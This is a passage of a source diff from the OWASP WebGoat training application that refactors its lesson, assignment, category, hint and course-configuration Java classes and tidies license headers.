String path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
String lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
List<AbstractLesson> lessons = course.getLessons();
Optional<AbstractLesson> lesson = lessons.stream()
List<? extends Lesson> lessons = course.getLessons();
Optional<? extends Lesson> lesson = lessons.stream()
.filter(l -> l.getId().equals(lessonName))
.findFirst();
ws.setCurrentLesson(lesson.get());

View File

@ -28,6 +28,7 @@
* @since October 28, 2003
* @version $Id: $Id
*/
package org.owasp.webgoat.controller;
import org.springframework.stereotype.Controller;

View File

@ -22,6 +22,7 @@
* projects.
* <p>
*/
package org.owasp.webgoat.i18n;
import lombok.AllArgsConstructor;

View File

@ -25,9 +25,10 @@
package org.owasp.webgoat.i18n;
import lombok.SneakyThrows;
import org.springframework.context.support.ReloadableResourceBundleMessageSource;
import java.io.IOException;
import java.net.URISyntaxException;
import java.net.URL;
import java.util.Enumeration;
import java.util.Properties;
@ -50,18 +51,23 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
}
@Override
@SneakyThrows
protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
Properties properties = new Properties();
long lastModified = System.currentTimeMillis();
Enumeration<URL> resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
while (resources.hasMoreElements()) {
URL resource = resources.nextElement();
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
properties.putAll(holder.getProperties());
Enumeration<URL> resources = null;
try {
resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
while (resources.hasMoreElements()) {
URL resource = resources.nextElement();
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
properties.putAll(holder.getProperties());
}
} catch (IOException | URISyntaxException e) {
logger.error("Unable to read plugin message", e);
}
return new PropertiesHolder(properties, lastModified);
}

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import com.google.common.collect.Lists;
import lombok.*;
import javax.persistence.*;
import java.util.ArrayList;
import java.util.List;
/**
@ -45,6 +45,7 @@ public class Assignment {
private Long id;
private String name;
private String path;
@Transient
private List<String> hints;
@ -52,13 +53,27 @@ public class Assignment {
//Hibernate
}
public Assignment(String name, String path) {
this(name, path, Lists.newArrayList());
public Assignment(String name) {
this(name, name, new ArrayList<>());
}
public Assignment(String name, String path, List<String> hints) {
if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) {
throw new IllegalStateException("The path of assignment '" + name + "' overrides WebGoat endpoints, please choose a path within the scope of the lesson");
}
this.name = name;
this.path = path;
this.hints = hints;
}
/**
* Set path is here to overwrite stored paths.
* Since a stored path can no longer be used in a lesson while
* the lesson (name) itself is still part of the lesson.
*
* @param pathName the path
*/
public void setPath(String pathName) {
this.path = pathName;
}
}

View File

@ -36,31 +36,40 @@ import lombok.Getter;
*/
public enum Category {
INTRODUCTION("Introduction", new Integer(5)),
GENERAL("General", new Integer(100)),
INJECTION("Injection Flaws", new Integer(200)),
AUTHENTICATION("Authentication Flaws", new Integer(300)),
XSS("Cross-Site Scripting (XSS)", new Integer(400)),
REQ_FORGERIES("Request Forgeries", new Integer(450)),
ACCESS_CONTROL("Access Control Flaws", new Integer(500)),
INSECURE_CONFIGURATION("Insecure Configuration", new Integer(600)),
INSECURE_COMMUNICATION("Insecure Communication", new Integer(700)),
INSECURE_STORAGE("Insecure Storage", new Integer(800)),
INSECURE_DESERIALIZATION("Insecure Deserialization", new Integer(850)),
REQUEST_FORGERIES("Request Forgeries", new Integer(900)),
VULNERABLE_COMPONENTS("Vulnerable Components - A9", new Integer(950)),
AJAX_SECURITY("AJAX Security", new Integer(1000)),
BUFFER_OVERFLOW("Buffer Overflows", new Integer(1100)),
CODE_QUALITY("Code Quality", new Integer(1200)),
CONCURRENCY("Concurrency", new Integer(1300)),
ERROR_HANDLING("Improper Error Handling", new Integer(1400)),
DOS("Denial of Service", new Integer(1500)),
MALICIOUS_EXECUTION("Malicious Execution", new Integer(1600)),
CLIENT_SIDE("Client side", new Integer(1700)),
SESSION_MANAGEMENT("Session Management Flaws", new Integer(1800)),
WEB_SERVICES("Web Services", new Integer(1900)),
ADMIN_FUNCTIONS("Admin Functions", new Integer(2000)),
CHALLENGE("Challenges", new Integer(3000));
INTRODUCTION("Introduction", 5),
GENERAL("General", 100),
INJECTION("(A1) Injection", 300),
AUTHENTICATION("(A2) Broken Authentication", 302),
INSECURE_COMMUNICATION("(A3) Sensitive Data Exposure", 303),
XXE("(A4) XML External Entities (XXE)", 304),
ACCESS_CONTROL("(A5) Broken Access Control", 305),
XSS("(A7) Cross-Site Scripting (XSS)", 307),
INSECURE_DESERIALIZATION("(A8) Insecure Deserialization", 308),
VULNERABLE_COMPONENTS("(A9) Vulnerable Components", 309),
REQUEST_FORGERIES("(A8:2013) Request Forgeries", 318),
REQ_FORGERIES("Request Forgeries", 450),
INSECURE_CONFIGURATION("Insecure Configuration", 600),
INSECURE_STORAGE("Insecure Storage", 800),
AJAX_SECURITY("AJAX Security", 1000),
BUFFER_OVERFLOW("Buffer Overflows", 1100),
CODE_QUALITY("Code Quality", 1200),
CONCURRENCY("Concurrency", 1300),
ERROR_HANDLING("Improper Error Handling", 1400),
DOS("Denial of Service", 1500),
MALICIOUS_EXECUTION("Malicious Execution", 1600),
CLIENT_SIDE("Client side", 1700),
SESSION_MANAGEMENT("Session Management Flaws", 1800),
WEB_SERVICES("Web Services", 1900),
ADMIN_FUNCTIONS("Admin Functions", 2000),
CHALLENGE("Challenges", 3000);
@Getter
private String name;

View File

@ -24,10 +24,10 @@
* projects.
*
*/
package org.owasp.webgoat.lessons;
import lombok.Getter;
import lombok.Setter;
import lombok.Value;
/**
* <p>Hint class.</p>
@ -35,12 +35,9 @@ import lombok.Setter;
* @author rlawson
* @version $Id: $Id
*/
@Getter
@Setter
@Value
public class Hint {
private String hint;
private String lesson;
private String assignmentPath;
private int number;
}

View File

@ -1,64 +1,46 @@
package org.owasp.webgoat.lessons;
import com.google.common.collect.Lists;
import lombok.Setter;
import org.owasp.webgoat.session.Screen;
import java.util.List;
/**
* ************************************************************************************************
* <p>
* <p>
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @version $Id: $Id
* @since October 28, 2003
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
public abstract class AbstractLesson extends Screen implements Comparable<Object> {
package org.owasp.webgoat.lessons;
import lombok.Getter;
import lombok.Setter;
import lombok.Singular;
import java.util.List;
@Getter
@Setter
public abstract class Lesson {
private static int count = 1;
private Integer id = null;
private Integer ranking;
@Setter
private List<Assignment> assignments;
public List<Assignment> getAssignments() {
if (assignments == null) {
return Lists.newArrayList();
}
return assignments;
}
/**
* Constructor for the Lesson object
*/
public AbstractLesson() {
id = new Integer(++count);
public Lesson() {
id = ++count;
}
@ -72,34 +54,6 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
return className.substring(className.lastIndexOf('.') + 1);
}
/**
* <p>Setter for the field <code>ranking</code>.</p>
*
* @param ranking a {@link java.lang.Integer} object.
*/
public void setRanking(Integer ranking) {
this.ranking = ranking;
}
/**
* {@inheritDoc}
* <p>
* Description of the Method
*/
public int compareTo(Object obj) {
return this.getRanking().compareTo(((AbstractLesson) obj).getRanking());
}
/**
* {@inheritDoc}
* <p>
* Description of the Method
*/
public boolean equals(Object obj) {
return this.getScreenId() == ((AbstractLesson) obj).getScreenId();
}
/**
* Gets the category attribute of the Lesson object
*
@ -109,13 +63,6 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
return getDefaultCategory();
}
/**
* <p>getDefaultRanking.</p>
*
* @return a {@link java.lang.Integer} object.
*/
protected abstract Integer getDefaultRanking();
/**
* <p>getDefaultCategory.</p>
*
@ -123,29 +70,6 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
*/
protected abstract Category getDefaultCategory();
/**
* <p>getDefaultHidden.</p>
*
* @return a boolean.
*/
protected abstract boolean getDefaultHidden();
/**
* Gets the hintCount attribute of the Lesson object
*
* @return The hintCount value
*/
public int getHintCount() {
return getHints().size();
}
/**
* <p>getHints.</p>
*
* @return a {@link java.util.List} object.
*/
public abstract List<String> getHints();
/**
* Gets the title attribute of the HelloScreen object
*
@ -153,28 +77,6 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
*/
public abstract String getTitle();
/**
* Gets the ranking attribute of the Lesson object
*
* @return The ranking value
*/
public Integer getRanking() {
if (ranking != null) {
return ranking;
} else {
return getDefaultRanking();
}
}
/**
* Gets the uniqueID attribute of the AbstractLesson object
*
* @return The uniqueID value
*/
public int getScreenId() {
return id.intValue();
}
/**
* <p>Returns the default "path" portion of a lesson's URL.</p>
* <p>
@ -218,5 +120,4 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
}
public abstract String getId();
}

View File

@ -1,86 +0,0 @@
/**
*************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @since October 28, 2003
* @version $Id: $Id
*/
package org.owasp.webgoat.lessons;
//// TODO: 11/8/2016 remove
public abstract class LessonAdapter extends AbstractLesson {
/**
* <p>getDefaultHidden.</p>
*
* @return a boolean.
*/
protected boolean getDefaultHidden() {
return false;
}
/**
* Initiates lesson restart functionality. Lessons should override this for
* lesson specific actions
*/
public void restartLesson() {
// Do Nothing - called when restart lesson is pressed. Each lesson can do something
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
/**
* <p>getDefaultRanking.</p>
*
* @return a {@link java.lang.Integer} object.
*/
protected Integer getDefaultRanking() {
return DEFAULT_RANKING;
}
/**
* provide a default submitMethod of lesson does not implement
*
* @return a {@link java.lang.String} object.
*/
public String getSubmitMethod() {
return "GET";
}
/**
* Fill in a descriptive title for this lesson. The title of the lesson.
* This will appear above the control area at the top of the page. This
* field will be rendered as html.
*
* @return The title value
*/
public String getTitle() {
return "Untitled Lesson " + getScreenId();
}
}

View File

@ -1,32 +1,32 @@
/**
* *************************************************************************************************
*
*
* <p>
* <p>
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* <p>
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* <p>
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* <p>
* Getting Source ==============
*
* <p>
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*
*/
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
@ -46,8 +46,6 @@ public class LessonMenuItem {
private boolean complete;
private String link;
private int ranking;
// private boolean showSource = true;
// private boolean showHints = true;
/**
* <p>Getter for the field <code>name</code>.</p>
@ -112,7 +110,6 @@ public class LessonMenuItem {
children.add(child);
}
/** {@inheritDoc} */
@Override
public String toString() {
StringBuilder bldr = new StringBuilder();

View File

@ -27,6 +27,7 @@
* for free software projects.
*
*/
package org.owasp.webgoat.lessons;
/**
@ -69,7 +70,6 @@ public class RequestParameter implements Comparable<RequestParameter> {
return value;
}
/** {@inheritDoc} */
@Override
public int compareTo(RequestParameter o) {
return this.name.compareTo(o.getName());

View File

@ -0,0 +1,115 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.plugins;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.ArrayUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.session.Course;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import java.lang.reflect.Method;
import java.util.*;
import static java.util.stream.Collectors.groupingBy;
import static java.util.stream.Collectors.toList;
@Slf4j
@Configuration
public class CourseConfiguration {
private final List<Lesson> lessons;
private final List<AssignmentEndpoint> assignments;
private final Map<String, List<AssignmentEndpoint>> assignmentsByPackage;
public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {
this.lessons = lessons;
this.assignments = assignments;
assignmentsByPackage = this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
}
@Bean
public Course course() {
lessons.stream().forEach(l -> l.setAssignments(createAssignment(l)));
return new Course(lessons);
}
private List<Assignment> createAssignment(Lesson lesson) {
var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
if (CollectionUtils.isEmpty(endpoints)) {
log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
return new ArrayList();
}
return endpoints.stream().map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))).collect(toList());
}
private String getPath(Class<? extends AssignmentEndpoint> e) {
for (Method m : e.getMethods()) {
if (m.getReturnType() == AttackResult.class) {
var mapping = getMapping(m);
if (mapping == null) {
log.error("AttackResult method found without mapping in: {}", e.getSimpleName());
} else {
return mapping;
}
}
}
return "none";
}
private String getMapping(Method m) {
String[] paths = null;
//Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are valid, we need to consider both
if (m.getAnnotation(RequestMapping.class) != null) {
paths = ArrayUtils.addAll(m.getAnnotation(RequestMapping.class).value(), m.getAnnotation(RequestMapping.class).path());
} else if (m.getAnnotation(PostMapping.class) != null) {
paths = ArrayUtils.addAll(m.getAnnotation(PostMapping.class).value(), m.getAnnotation(PostMapping.class).path());
} else if (m.getAnnotation(GetMapping.class) != null) {
paths = ArrayUtils.addAll(m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());
} else if (m.getAnnotation(PutMapping.class) != null) {
paths = ArrayUtils.addAll(m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());
}
if (paths == null) {
return "";
} else {
return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElseGet(() -> "");
}
}
private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
if (e.isAnnotationPresent(AssignmentHints.class)) {
return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());
}
return Collections.emptyList();
}
}

View File

@ -1,66 +0,0 @@
package org.owasp.webgoat.plugins;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.Endpoint;
import org.springframework.beans.factory.annotation.Autowire;
import org.springframework.beans.factory.config.BeanDefinition;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.beans.factory.support.RootBeanDefinition;
import org.springframework.boot.actuate.endpoint.mvc.MvcEndpoint;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.AbstractApplicationContext;
import java.util.List;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author nbaars
* @version $Id: $Id
* @since October 16, 2016
*/
@Slf4j
public class PluginEndpointPublisher {
private AbstractApplicationContext applicationContext;
public PluginEndpointPublisher(ApplicationContext applicationContext) {
this.applicationContext = (AbstractApplicationContext) applicationContext;
}
public void publish(List<Class<Endpoint>> endpoints) {
endpoints.forEach(e -> publishEndpoint(e));
}
private void publishEndpoint(Class<? extends MvcEndpoint> e) {
try {
BeanDefinition beanDefinition = new RootBeanDefinition(e, Autowire.BY_TYPE.value(), true);
DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) applicationContext.getBeanFactory();
beanFactory.registerBeanDefinition(beanDefinition.getBeanClassName(), beanDefinition);
} catch (Exception ex) {
log.error("Failed to register " + e.getSimpleName() + " as endpoint with Spring, skipping...");
}
}
}

View File

@ -1,46 +0,0 @@
package org.owasp.webgoat.plugins;
import lombok.AllArgsConstructor;
import lombok.Getter;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.Endpoint;
import org.owasp.webgoat.lessons.NewLesson;
import java.net.URL;
import java.util.List;
import java.util.stream.Collectors;
/**
* Plugin resource
*
* @author nbaars
* @since 3/4/17.
*/
@AllArgsConstructor
@Getter
public class PluginResource {
private final URL location;
private final List<Class> classes;
public List<Class> getLessons() {
return classes.stream().filter(c -> c.getSuperclass() == NewLesson.class).collect(Collectors.toList());
}
public List<Class<Endpoint>> getEndpoints() {
return classes.stream().
filter(c -> c.getSuperclass() == AssignmentEndpoint.class || c.getSuperclass() == Endpoint.class).
map(c -> (Class<Endpoint>) c).
collect(Collectors.toList());
}
public List<Class<AssignmentEndpoint>> getAssignments(Class lesson) {
return classes.stream().
filter(c -> c.getSuperclass() == AssignmentEndpoint.class).
filter(c -> c.getPackage().equals(lesson.getPackage())).
map(c -> (Class<AssignmentEndpoint>) c).
collect(Collectors.toList());
}
}

View File

@ -1,134 +0,0 @@
package org.owasp.webgoat.plugins;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import lombok.AllArgsConstructor;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.NewLesson;
import org.owasp.webgoat.session.Course;
import org.springframework.beans.factory.config.BeanDefinition;
import org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider;
import org.springframework.core.type.filter.RegexPatternTypeFilter;
import java.net.URL;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
import static java.util.stream.Collectors.toList;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author nbaars
* @version $Id: $Id
* @since November 25, 2016
*/
@AllArgsConstructor
@Slf4j
public class PluginsLoader {
private final PluginEndpointPublisher pluginEndpointPublisher;
/**
* <p>createLessonsFromPlugins.</p>
*/
public Course loadPlugins() {
List<AbstractLesson> lessons = Lists.newArrayList();
for (PluginResource plugin : findPluginResources()) {
try {
plugin.getLessons().forEach(c -> {
NewLesson lesson = null;
try {
lesson = (NewLesson) c.newInstance();
log.trace("Lesson loaded: {}", lesson.getId());
} catch (Exception e) {
log.error("Error while loading:" + c, e);
}
List<Class<AssignmentEndpoint>> assignments = plugin.getAssignments(c);
lesson.setAssignments(createAssignment(assignments));
lessons.add(lesson);
pluginEndpointPublisher.publish(plugin.getEndpoints());
});
} catch (Exception e) {
log.error("Error in loadLessons: ", e);
}
}
if (lessons.isEmpty()) {
log.error("No lessons found if you downloaded an official release of WebGoat please take the time to");
log.error("create a new issue at https://github.com/WebGoat/WebGoat/issues/new");
log.error("For developers run 'mvn package' first from the root directory.");
}
return new Course(lessons);
}
private List<Assignment> createAssignment(List<Class<AssignmentEndpoint>> endpoints) {
return endpoints.stream().map(e -> new Assignment(e.getSimpleName(), getPath(e), getHints(e))).collect(toList());
}
private String getPath(Class<AssignmentEndpoint> e) {
return e.getAnnotationsByType(AssignmentPath.class)[0].value();
}
private List<String> getHints(Class<AssignmentEndpoint> e) {
if (e.isAnnotationPresent(AssignmentHints.class)) {
return Lists.newArrayList(e.getAnnotationsByType(AssignmentHints.class)[0].value());
}
return Lists.newArrayList();
}
@SneakyThrows
public List<PluginResource> findPluginResources() {
final ClassPathScanningCandidateComponentProvider provider = new ClassPathScanningCandidateComponentProvider(false);
provider.addIncludeFilter(new RegexPatternTypeFilter(Pattern.compile(".*")));
final Set<BeanDefinition> classes = provider.findCandidateComponents("org.owasp.webgoat.plugin");
Map<URL, List<Class>> pluginClasses = Maps.newHashMap();
for (BeanDefinition bean : classes) {
Class<?> clazz = Class.forName(bean.getBeanClassName());
URL location = clazz.getProtectionDomain().getCodeSource().getLocation();
List<Class> classFiles = pluginClasses.get(location);
if (classFiles == null) {
classFiles = Lists.newArrayList(clazz);
} else {
classFiles.add(clazz);
}
pluginClasses.put(location, classFiles);
}
return pluginClasses.entrySet().parallelStream()
.map(e -> new PluginResource(e.getKey(), e.getValue()))
.collect(Collectors.toList());
}
}

View File

@ -1,63 +0,0 @@
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
*/
package org.owasp.webgoat.service;
import com.google.common.collect.Lists;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpSession;
import java.util.List;
/**
* <p>CookieService class.</p>
*
* @author rlawson
* @version $Id: $Id
*/
@Controller
public class CookieService {
/**
* Returns cookies for last attack
*
* @param session a {@link javax.servlet.http.HttpSession} object.
* @return a {@link java.util.List} object.
*/
@RequestMapping(path = "/service/cookie.mvc", produces = "application/json")
public @ResponseBody
List<Cookie> showCookies() {
//// TODO: 11/6/2016 to be decided
List<Cookie> cookies = Lists.newArrayList();
return cookies;
}
}

View File

@ -3,12 +3,12 @@
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package org.owasp.webgoat.service;
import com.google.common.collect.Lists;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.Hint;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.WebSession;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@ -41,42 +41,22 @@ public class HintService {
*/
@GetMapping(path = URL_HINTS_MVC, produces = "application/json")
@ResponseBody
public List<Hint> showHint() {
AbstractLesson l = webSession.getCurrentLesson();
List<Hint> hints = createLessonHints(l);
hints.addAll(createAssignmentHints(l));
return hints;
public List<Hint> getHints() {
Lesson l = webSession.getCurrentLesson();
return createAssignmentHints(l);
}
private List<Hint> createLessonHints(AbstractLesson l) {
if ( l != null ) {
return l.getHints().stream().map(h -> createHint(h, l.getName(), null)).collect(toList());
private List<Hint> createAssignmentHints(Lesson l) {
if (l != null) {
return l.getAssignments().stream()
.map(a -> createHint(a))
.flatMap(hints -> hints.stream())
.collect(toList());
}
return Lists.newArrayList();
return List.of();
}
private List<Hint> createAssignmentHints(AbstractLesson l) {
List<Hint> hints = Lists.newArrayList();
if ( l != null) {
List<Assignment> assignments = l.getAssignments();
assignments.stream().forEach(a -> { a.getHints(); createHints(a, hints);});
}
return hints;
}
private void createHints(Assignment a, List<Hint> hints) {
hints.addAll(a.getHints().stream().map(h -> createHint(h, null, a.getPath())).collect(toList()));
}
private Hint createHint(String hintText, String lesson, String assignmentName) {
Hint hint = new Hint();
hint.setHint(hintText);
if (lesson != null) {
hint.setLesson(lesson);
} else {
hint.setAssignmentPath(assignmentName);
}
return hint;
private List<Hint> createHint(Assignment a) {
return a.getHints().stream().map(h -> new Hint(h, a.getPath())).collect(toList());
}
}

View File

@ -1,32 +1,32 @@
/**
* *************************************************************************************************
*
*
* <p>
* <p>
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* <p>
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* <p>
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* <p>
* Getting Source ==============
*
* <p>
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*
*/
package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;
@ -73,20 +73,20 @@ public class LabelDebugService {
return new ResponseEntity<>(result, HttpStatus.OK);
}
/**
* Sets the enabled flag on the label debugger to the given parameter
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
* @throws Exception unhandled exception
* @return a {@link org.springframework.http.ResponseEntity} object.
*/
@RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
public @ResponseBody
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
Map<String, Object> result = createResponse(enabled);
